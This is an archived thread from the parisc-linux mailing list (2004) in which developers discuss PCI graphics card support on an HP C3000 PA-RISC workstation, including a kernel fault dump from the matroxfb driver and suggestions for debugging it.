	Sat, 14 Feb 2004 22:48:54 -0500 (EST)
X-Authentication-Warning: keymaster: epotter owned process doing -bs
X-X-Sender: epotter@keymaster
In-Reply-To: <Pine.LNX.4.58.0402150326330.22822@sal.ucc.ie>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 15 Feb 2004 03:53:29 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20841

> On Sat, 14 Feb 2004, Elliott Potter wrote:
>
> > Hello all,
>
> [...]
>
> > 3) There are other PCI graphics cards (even 64-bit PCI) out there that
> > work on other *nix systems (AS/*****, SUN, etc.); is everyone's (or just
> > HP's) firmware so different that one has to get a graphics card just for
> > the HP?
>
> You'll be lucky to get any (ix86) PCI graphics card working on Linux/PA-RISC.
> The best bet would be to get a Visualize-EG, or some graphics card that
> doesn't require initialization via (ix86-)BIOS (eg. Matrox Millenium).

I had secretly hoped that an Open Firmware card would work, because
there are several reasonable cards out there that fit in newer Apples
and Suns.  But I haven't found anything indicating that they would.

Now the Matrox Millenium -- I've got one of those; the original MGA
Millenium.  Is that the one you mean?  Do other (newer) Matrox cards
also do this (such as the G450)?  I don't know how you tell that the
card doesn't require initialization via x86 BIOS.

Now I'm excited!  I'm going to stick the Matrox card in there and see
what happens.

Thanks,
--
Elliott



From - Thu Nov 08 21:30:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 video options
Date: Sun, 15 Feb 2004 04:10:00 +0000 (GMT)
Lines: 40
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0402150359520.22987@sal.ucc.ie>
References: <Pine.GSO.4.44.0402142239370.12861-100000@keymaster>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623194 5597 80.91.229.3 (22 Nov 2014 02:26:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Elliott Potter <epotter@eep.burdell.org>
Original-X-From: xam@cs.ucc.ie  Sat Feb 14 21:10:07 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 57E4F4855
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Feb 2004 21:10:07 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i1F4A2tY008951;
	Sun, 15 Feb 2004 04:10:05 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <Pine.GSO.4.44.0402142239370.12861-100000@keymaster>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 15 Feb 2004 04:10:08 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20842

On Sat, 14 Feb 2004, Elliott Potter wrote:

> > You'll be lucky to get any (ix86) PCI graphics card working on Linux/PA-RISC.
> > The best bet would be to get a Visualize-EG, or some graphics card that
> > doesn't require initialization via (ix86-)BIOS (eg. Matrox Millenium).
>
> I had secretly hoped that an Open Firmware card would work, because
> there are several reasonable cards out there that fit in newer Apples
> and Suns.  But I haven't found anything indicating that they would.

HP-UX/PA-RISC doesn't use Open Firmware.

> Now the Matrox Millenium -- I've got one of those; the original MGA
> Millenium.  Is that the one you mean?  Do other (newer) Matrox cards
> also do this (such as the G450)?  I don't know how you tell that the
> card doesn't require initialization via x86 BIOS.

Read the user manual:
http://www.matrox.com/mga/support/user_manuals/mill/milleng.pdf

Nobody tried to get a Matrox Millenium working on Linux/PA-RISC IIRC.
But the chances are good (works on PPC, SPARC etc.)

You should/have to use the matroxfb kernel driver.
Try to set the dip switches to "VGA disable", and maybe pass the
"noinit" and/or "nobios" options to the linux boot prompt.

The G450 is supported by the matroxfb driver, but I don't know whether
it can be initialized by the kernel driver, or whether this is just
limited to the old Matrox Millenium (2064W chipset).

> Now I'm excited!  I'm going to stick the Matrox card in there and see
> what happens.

Good luck!
I'm really interested in getting a PCI graphics card to work myself.

Greetings,
 Max


From - Thu Nov 08 21:30:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Elliott Potter <epotter@eep.burdell.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel dies: [Was: C3000 video options]
Date: Sun, 15 Feb 2004 00:54:28 -0500 (EST)
Lines: 125
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.44.0402150044380.12979-100000@keymaster>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623194 5599 80.91.229.3 (22 Nov 2014 02:26:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: epotter@eep.burdell.org  Sat Feb 14 22:58:55 2004
Return-Path: <epotter@eep.burdell.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from keymaster (dsl027-162-176.atl1.dsl.speakeasy.net
	[216.27.162.176])
	by dsl2.external.hp.com (Postfix) with ESMTP id 68D554855
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Feb 2004 22:58:55 -0700 (MST)
Original-Received: from keymaster (localhost [127.0.0.1])
	by keymaster (8.12.9/8.12.9) with ESMTP id i1F5sSiD013002
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Feb 2004 00:54:28 -0500 (EST)
Original-Received: from localhost (epotter@localhost)
	by keymaster (8.12.9/8.12.9/Submit) with ESMTP id i1F5sSZi012999
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Feb 2004 00:54:28 -0500 (EST)
X-Authentication-Warning: keymaster: epotter owned process doing -bs
X-X-Sender: epotter@keymaster
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 15 Feb 2004 05:58:56 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20843

Well ... I'm working on this PCI graphics card problem, and needed to
recompile the kernel.  I got the 2.4.24-pa0 kernel and built it, but
when I boot I get:

[...]
Found devices:
1. Astro BC Runway Port (12) at 0xfed00000 [10], versions 0x582, 0x0,
0xb
2. Elroy PCI Bridge (13) at 0xfed30000 [10/0], versions 0x782, 0x0, 0xa
3. Elroy PCI Bridge (13) at 0xfed32000 [10/1], versions 0x782, 0x0, 0xa
4. Elroy PCI Bridge (13) at 0xfed38000 [10/4], versions 0x782, 0x0, 0xa
5. Elroy PCI Bridge (13) at 0xfed3c000 [10/6], versions 0x782, 0x0, 0xa
6. AllegroHigh W (0) at 0xfffa0000 [32], versions 0x5bb, 0x0, 0x4
7. Memory (1) at 0xfed10200 [49], versions 0x86, 0x0, 0x9
CPU(s): 1 x PA8500 (PCX-W) at 400.000000 MHz
SBA found Astro 2.1 at 0xfed00000
lba version TR2.1 (0x2) found at 0xfed30000
PCI: Ignoring BAR0-3 of IDE controller 00:0e.0
lba version TR2.1 (0x2) found at 0xfed32000
lba version TR2.1 (0x2) found at 0xfed38000
lba version TR2.1 (0x2) found at 0xfed3c000
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Soft power switch enabled, polling @ 0xf0400804.
Starting kswapd
Journalled Block Device driver loaded
matroxfb: Matrox Millennium (PCI) detected

Stack Dump:
 11b38880:  0004ff0f 1039d778 00000000 10398010
 11b38870:  00000000 10232234 1035af00 00000000
 11b38860:  11b3e400 00000000 11b38000 102dcc0c
 11b38850:  10305810 00800000 0000000f 1035ae34
 11b38840:  1035b0b8 00000000 00000000 00000000
 11b38830:  00000000 1021d660 00000000 00000007

Kernel addresses on the stack:
 [<10232234>]  [<1021d660>]  [<1022c010>]  [<1022cc78>]
 [<10139068>]  [<1021d054>]  [<1021d11c>]  [<101001a8>]
 [<10107c4c>]  [<10107cf4>]  [<10165bc4>]  [<10165bc4>]
 [<10166188>]  [<10166188>]  [<1010019c>]  [<10166418>]
 [<1011f8f0>]

Kernel Fault: Code=15 regs=11b38880 (Addr=f2001fde)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 1035b010 1022c098 00800000
r04-07  1035b0b8 1035ae34 1035b0b8 f2800000
r08-11  f2000000 1035a810 fffffffa 1035b010
r12-15  10309010 103d3ac8 00000000 f0400004
r16-19  f00008c4 f000017c f0000174 00000003
r20-23  f2000000 1035b0b8 00000001 11b38810
r24-27  f2800000 1035b7f0 00800000 102ee010
r28-31  00000000 fed32000 11b38880 1022c010
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1022bb44 1022bb48
 IIR: 62933fbc    ISR: 00000000  IOR: f2001fde
 CPU:        0   CR30: 11b38000 CR31: 103a8000
 ORIG_R28: 00000000

... and then it dies.  Searching on the internet for "Kernel Fault:
Code=15" I see a few e-mails that went around 3 or 4 years ago but
nothing current.  Does that mean this is a solved problem?



As far as making the Matrox Millennium go, the firmware doesn't appear
know what to do with the card, so it sticks to serial console.  From
there we can see:

information -> sysconfig says:
[...]
        I/O Slot  Card Type
        --------  -------------------------------
            1     empty
            2     empty
            3     empty
            4     empty
            5     empty
            6     VGA         Vendor ID = 0x102b  Device ID = 0x0519


information -> io says:
                                                                     IODC
IODC
Path         Decimal     Type                  Location   HVER SVER
Vers Dep
------------ ----------- --------------------- ---------- ---- ----
---- ----
LAN          10/0/12/0   Ethernet              built-in   0060 a200
0x02 0x00
AUDIO        10/0/13/0   Audio                 built-in
IDE          10/0/14/0   IDE                   built-in   0060 a300
0x00 0x00
SUPERIO MISC 10/0/14/1   Bridge Device         built-in
FLOPPY       10/0/14/1/0 Floppy Disk           built-in
SERIAL_1     10/0/14/1/1 RS232 Port            built-in   0060 8c00
0x01 0x00
SERIAL_2     10/0/14/1/2 RS232 Port            built-in   0060 8c00
0x01 0x00
PARALLEL     10/0/14/1/3 Parallel Port         built-in
USB          10/0/14/2   USB                   built-in   0060 a900
0x98 0x00
SCSI         10/0/15/0   SCSI                  built-in   0060 a300
0x00 0x00
FWSCSI       10/0/15/1   SCSI                  built-in   0060 a300
0x00 0x00
PCI6         10/1/6/0    VGA                   slot 6     (no firmware
driver)


(sorry about the wrapping; basically it sees the card, knows it's a VGA
card, but has no firmware driver for it).

And now it's 1am so I'm going to stop.  But my goal is to make this go
:)
--
Elliott



From - Thu Nov 08 21:30:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 video options
Date: Sun, 15 Feb 2004 10:27:59 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <200402151027.59161.deller@gmx.de>
References: <Pine.GSO.4.44.0402142137500.12861-100000@keymaster>
	<Pine.LNX.4.58.0402150326330.22822@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623195 5603 80.91.229.3 (22 Nov 2014 02:26:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Sun Feb 15 02:28:19 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 070A548C7
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Feb 2004 02:28:19 -0700 (MST)
Original-Received: (qmail 30023 invoked by uid 65534); 15 Feb 2004 09:28:06 -0000
Original-Received: from pD904062D.dip.t-dialin.net (EHLO p100) (217.4.6.45)
	by mail.gmx.net (mp014) with SMTP; 15 Feb 2004 10:28:06 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.6.51
In-Reply-To: <Pine.LNX.4.58.0402150326330.22822@sal.ucc.ie>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 15 Feb 2004 09:28:20 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20844

On Sunday 15 February 2004 04:36, M. Grabert wrote:
> > 2) Someone posted on the list that you could get a PCI Nvidia Voodoo2
> > card and maybe it would work, but when he tried it he got nothing except
> > corrupted nvram.  That doesn't sound very promising, but I thought I'd
> > ask.
> 
> Someone tried Voodoo2, but no success report so far.

I tested/fixed Vodoo2 and it should work with kernel 2.4 and 2.6 on HPPA.
Maximum resolution is 800x600 @16bpp though.

> Somebody had success with a ATI Rage XL graphics card and a 2.4.22 kernel
> (and a special no-bios patch). He had some colour issues 'though.
> Unfortunatelty the patch doesn't work on the 2.4.24 kernel anymore;
> I contacted the developer of this patch, and he said he's busy with some
> other things, and porting it to 2.4.24 (or even 2.6) will be low priority.

The "no-card-bios" patch is at least in kernel 2.6 and I tried it recently 
with a ATI Mach64 w/ 2MB (not XL!!). I got some crashes, but chances 
are pretty high that this could be made work.
 
Helge


From - Thu Nov 08 21:30:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel dies: [Was: C3000 video options]
Date: Sun, 15 Feb 2004 12:04:16 +0000
Lines: 143
Approved: news@gmane.org
Message-ID: <402F6040.4020700@tiscali.be>
References: <Pine.GSO.4.44.0402150044380.12979-100000@keymaster>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623195 5606 80.91.229.3 (22 Nov 2014 02:26:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Elliott Potter <epotter@eep.burdell.org>
Original-X-From: soete.joel@tiscali.be  Sun Feb 15 05:03:56 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2418B48C7
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Feb 2004 05:03:56 -0700 (MST)
Original-Received: from [62.235.123.6] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AsL06-00049T-BL; Sun, 15 Feb 2004 13:03:54 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040122 Debian/1.6-1
X-Accept-Language: en
In-Reply-To: <Pine.GSO.4.44.0402150044380.12979-100000@keymaster>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 15 Feb 2004 12:03:57 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20845



Elliott Potter wrote:
> Well ... I'm working on this PCI graphics card problem, and needed to
> recompile the kernel.  I got the 2.4.24-pa0 kernel and built it, but
> when I boot I get:
> 
> [...]
> Found devices:
> 1. Astro BC Runway Port (12) at 0xfed00000 [10], versions 0x582, 0x0,
> 0xb
> 2. Elroy PCI Bridge (13) at 0xfed30000 [10/0], versions 0x782, 0x0, 0xa
> 3. Elroy PCI Bridge (13) at 0xfed32000 [10/1], versions 0x782, 0x0, 0xa
> 4. Elroy PCI Bridge (13) at 0xfed38000 [10/4], versions 0x782, 0x0, 0xa
> 5. Elroy PCI Bridge (13) at 0xfed3c000 [10/6], versions 0x782, 0x0, 0xa
> 6. AllegroHigh W (0) at 0xfffa0000 [32], versions 0x5bb, 0x0, 0x4
> 7. Memory (1) at 0xfed10200 [49], versions 0x86, 0x0, 0x9
> CPU(s): 1 x PA8500 (PCX-W) at 400.000000 MHz
> SBA found Astro 2.1 at 0xfed00000
> lba version TR2.1 (0x2) found at 0xfed30000
> PCI: Ignoring BAR0-3 of IDE controller 00:0e.0
> lba version TR2.1 (0x2) found at 0xfed32000
> lba version TR2.1 (0x2) found at 0xfed38000
> lba version TR2.1 (0x2) found at 0xfed3c000
> POSIX conformance testing by UNIFIX
> Linux NET4.0 for Linux 2.4
> Based upon Swansea University Computer Society NET3.039
> Initializing RT netlink socket
> Soft power switch enabled, polling @ 0xf0400804.
> Starting kswapd
> Journalled Block Device driver loaded
> matroxfb: Matrox Millennium (PCI) detected
> 
> Stack Dump:
>  11b38880:  0004ff0f 1039d778 00000000 10398010
>  11b38870:  00000000 10232234 1035af00 00000000
>  11b38860:  11b3e400 00000000 11b38000 102dcc0c
>  11b38850:  10305810 00800000 0000000f 1035ae34
>  11b38840:  1035b0b8 00000000 00000000 00000000
>  11b38830:  00000000 1021d660 00000000 00000007
> 
> Kernel addresses on the stack:
>  [<10232234>]  [<1021d660>]  [<1022c010>]  [<1022cc78>]
>  [<10139068>]  [<1021d054>]  [<1021d11c>]  [<101001a8>]
>  [<10107c4c>]  [<10107cf4>]  [<10165bc4>]  [<10165bc4>]
>  [<10166188>]  [<10166188>]  [<1010019c>]  [<10166418>]
>  [<1011f8f0>]
> 
> Kernel Fault: Code=15 regs=11b38880 (Addr=f2001fde)
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001111 Not tainted
> r00-03  00000000 1035b010 1022c098 00800000
> r04-07  1035b0b8 1035ae34 1035b0b8 f2800000
> r08-11  f2000000 1035a810 fffffffa 1035b010
> r12-15  10309010 103d3ac8 00000000 f0400004
> r16-19  f00008c4 f000017c f0000174 00000003
> r20-23  f2000000 1035b0b8 00000001 11b38810
> r24-27  f2800000 1035b7f0 00800000 102ee010
> r28-31  00000000 fed32000 11b38880 1022c010
> sr0-3   00000000 00000000 00000000 00000000
> sr4-7   00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: 1022bb44 1022bb48
>  IIR: 62933fbc    ISR: 00000000  IOR: f2001fde
>  CPU:        0   CR30: 11b38000 CR31: 103a8000
>  ORIG_R28: 00000000
> 
> ... and then it dies.  Searching on the internet for "Kernel Fault:
> Code=15" I see a few e-mails that went around 3 or 4 years ago but
> nothing current.  Does that mean this is a solved problem?
> 
Have a look in arch/parisc/kernel/traps.c:
[snip]
         case 15:
                 /* Data TLB miss fault/Data page fault */
                 /* Fall thru */
[snip]

With 2.6 you would get more on kernel stack dump; never the less with 2.4 you could submit this text to dump_analyser.sh (see: 
http://cvs.parisc-linux.org/build-tools/ it requires also a.c). It will give you more detail on IAOQ, GR2, ...

> 
> 
> As far as making the Matrox Millennium go, the firmware doesn't appear
> know what to do with the card, so it sticks to serial console.  From
> there we can see:
> 
> information -> sysconfig says:
> [...]
>         I/O Slot  Card Type
>         --------  -------------------------------
>             1     empty
>             2     empty
>             3     empty
>             4     empty
>             5     empty
>             6     VGA         Vendor ID = 0x102b  Device ID = 0x0519
> 
> 
> information -> io says:
>                                                                      IODC
> IODC
> Path         Decimal     Type                  Location   HVER SVER
> Vers Dep
> ------------ ----------- --------------------- ---------- ---- ----
> ---- ----
> LAN          10/0/12/0   Ethernet              built-in   0060 a200
> 0x02 0x00
> AUDIO        10/0/13/0   Audio                 built-in
> IDE          10/0/14/0   IDE                   built-in   0060 a300
> 0x00 0x00
> SUPERIO MISC 10/0/14/1   Bridge Device         built-in
> FLOPPY       10/0/14/1/0 Floppy Disk           built-in
> SERIAL_1     10/0/14/1/1 RS232 Port            built-in   0060 8c00
> 0x01 0x00
> SERIAL_2     10/0/14/1/2 RS232 Port            built-in   0060 8c00
> 0x01 0x00
> PARALLEL     10/0/14/1/3 Parallel Port         built-in
> USB          10/0/14/2   USB                   built-in   0060 a900
> 0x98 0x00
> SCSI         10/0/15/0   SCSI                  built-in   0060 a300
> 0x00 0x00
> FWSCSI       10/0/15/1   SCSI                  built-in   0060 a300
> 0x00 0x00
> PCI6         10/1/6/0    VGA                   slot 6     (no firmware
> driver)
> 
> 
> (sorry about the wrapping; basically it sees the card, knows it's a VGA
> card, but has no firmware driver for it).
> 
> And now it's 1am so I'm going to stop.  But my goal is to make this go
> :)

May be switch to 2.6 ;)

hth,
	Joel

PS: I also try a ATI XL with 'no-bios' patch and reach to load module without system crash.
Unfortunately this card seems to be broken :_) (screen stay black) and without other spare part available I had to stop :(


From - Thu Nov 08 21:30:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 video options
Date: Sun, 15 Feb 2004 16:06:50 +0000
Lines: 8
Approved: news@gmane.org
Message-ID: <1076861208.25542.3.camel@dhcp23.swansea.linux.org.uk>
References: <Pine.GSO.4.44.0402142137500.12861-100000@keymaster>
	<Pine.LNX.4.58.0402150326330.22822@sal.ucc.ie>
	<200402151027.59161.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623195 5609 80.91.229.3 (22 Nov 2014 02:26:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: alan@lxorguk.ukuu.org.uk  Sun Feb 15 09:10:18 2004
Return-Path: <alan@lxorguk.ukuu.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dhcp23.swansea.linux.org.uk
	(cpc1-cwma1-5-0-cust4.swan.cable.ntl.com [80.5.120.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id D8C114852
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Feb 2004 09:10:17 -0700 (MST)
Original-Received: from dhcp23.swansea.linux.org.uk (localhost.localdomain [127.0.0.1])
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10) with ESMTP id
	i1FG6q0r025559; Sun, 15 Feb 2004 16:06:52 GMT
Original-Received: (from alan@localhost)
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10/Submit) id
	i1FG6qMD025557; Sun, 15 Feb 2004 16:06:52 GMT
X-Authentication-Warning: dhcp23.swansea.linux.org.uk: alan set sender to
	alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <200402151027.59161.deller@gmx.de>
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 15 Feb 2004 16:10:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20846

On Sul, 2004-02-15 at 09:27, Helge Deller wrote:
> I tested/fixed Vodoo2 and it should work with kernel 2.4 and 2.6 on HPPA.
> Maximum resolution is 800x600 @16bpp though.

1024x768@16bpp on Voodoo2, 800x600 on Voodoo1.




From - Thu Nov 08 21:30:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 video options
Date: Sun, 15 Feb 2004 16:06:01 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <1076861160.25519.1.camel@dhcp23.swansea.linux.org.uk>
References: <Pine.GSO.4.44.0402142137500.12861-100000@keymaster>
	<Pine.LNX.4.58.0402150326330.22822@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623196 5610 80.91.229.3 (22 Nov 2014 02:26:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: alan@lxorguk.ukuu.org.uk  Sun Feb 15 09:10:35 2004
Return-Path: <alan@lxorguk.ukuu.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dhcp23.swansea.linux.org.uk
	(cpc1-cwma1-5-0-cust4.swan.cable.ntl.com [80.5.120.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 57A1348AD
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Feb 2004 09:10:35 -0700 (MST)
Original-Received: from dhcp23.swansea.linux.org.uk (localhost.localdomain [127.0.0.1])
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10) with ESMTP id
	i1FG640r025553; Sun, 15 Feb 2004 16:06:06 GMT
Original-Received: (from alan@localhost)
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10/Submit) id
